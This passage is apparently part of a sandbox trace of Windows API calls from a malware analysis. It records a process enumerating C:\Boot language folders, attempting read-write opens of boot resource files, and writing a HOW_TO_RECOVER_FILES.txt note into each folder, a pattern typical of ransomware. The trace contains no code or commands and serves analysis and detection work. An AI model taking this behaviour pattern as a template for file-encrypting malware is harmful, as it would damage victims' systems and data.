lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0071.411] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0071.411] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0071.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0071.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0071.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0071.411] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Resources", lpFilePart=0x0) returned 0x11 [0071.411] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0071.411] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.412] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll", cAlternateFileName="")) returned 1 [0071.412] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0071.412] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0071.412] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0071.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0071.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0071.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0071.413] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources\\en-US", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Resources\\en-US", lpFilePart=0x0) returned 0x17 [0071.413] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0071.413] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.413] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1 [0071.413] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0071.413] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0071.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0071.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0071.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0071.414] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources\\en-US", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Resources\\en-US", lpFilePart=0x0) returned 0x17 [0071.414] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0071.414] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.414] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1 [0071.415] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 0 [0071.415] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0071.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0071.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0071.415] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources\\en-US\\bootres.dll.mui", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Resources\\en-US\\bootres.dll.mui", lpFilePart=0x0) returned 0x27 [0071.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d380) returned 1 [0071.415] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x320eb80 | out: lpFileInformation=0x320eb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0)) returned 1 [0071.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d340) returned 1 [0071.415] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources\\en-US\\bootres.dll.mui", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Resources\\en-US\\bootres.dll.mui", lpFilePart=0x0) returned 0x27 [0071.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0071.415] CreateFileW (lpFileName="C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0071.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f599c70) returned 1 [0071.418] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources\\en-US\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59d020, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Resources\\en-US\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x30 [0071.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d540) returned 1 [0071.418] CreateFileW (lpFileName="C:\\Boot\\Resources\\en-US\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\resources\\en-us\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b0 [0071.418] GetFileType (hFile=0x6b0) returned 0x1 [0071.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4b0) returned 1 [0071.418] GetFileType (hFile=0x6b0) returned 0x1 [0071.419] WriteFile (in: hFile=0x6b0, lpBuffer=0x32115e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59d608, lpOverlapped=0x0 | out: lpBuffer=0x32115e0*, lpNumberOfBytesWritten=0x1f59d608*=0x5d0, lpOverlapped=0x0) returned 1 [0071.420] CloseHandle (hObject=0x6b0) returned 1 [0071.420] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Resources\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x2a [0071.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0071.420] CreateFileW (lpFileName="C:\\Boot\\Resources\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\resources\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b0 [0071.421] GetFileType (hFile=0x6b0) returned 0x1 [0071.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0071.421] GetFileType (hFile=0x6b0) returned 0x1 [0071.422] WriteFile (in: hFile=0x6b0, lpBuffer=0x3214e08*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x3214e08*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0071.422] CloseHandle (hObject=0x6b0) returned 1 [0071.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0071.423] GetFullPathNameW (in: lpFileName="C:\\Boot\\ro-RO", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ro-RO", lpFilePart=0x0) returned 0xd [0071.423] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0071.423] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.423] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0071.423] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0071.424] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0071.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0071.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0071.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0071.424] GetFullPathNameW (in: lpFileName="C:\\Boot\\ro-RO", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ro-RO", lpFilePart=0x0) returned 0xd [0071.424] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0071.424] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.424] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0071.424] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0071.425] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0071.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0071.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0071.425] GetFullPathNameW (in: lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ro-RO\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0071.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0071.425] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x3223778 | out: lpFileInformation=0x3223778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960)) returned 1 [0071.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0071.425] GetFullPathNameW (in: lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ro-RO\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0071.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0071.425] CreateFileW (lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0071.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0071.427] GetFullPathNameW (in: lpFileName="C:\\Boot\\ro-RO\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ro-RO\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0071.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0071.427] CreateFileW (lpFileName="C:\\Boot\\ro-RO\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\ro-ro\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b0 [0071.428] GetFileType (hFile=0x6b0) returned 0x1 [0071.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0071.428] GetFileType (hFile=0x6b0) returned 0x1 [0071.428] WriteFile (in: hFile=0x6b0, lpBuffer=0x3226178*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x3226178*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0071.429] CloseHandle (hObject=0x6b0) returned 1 [0071.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0071.665] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU", lpFilePart=0x0) returned 0xd [0071.665] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0071.666] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.666] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0071.666] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0071.666] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0071.666] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0071.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 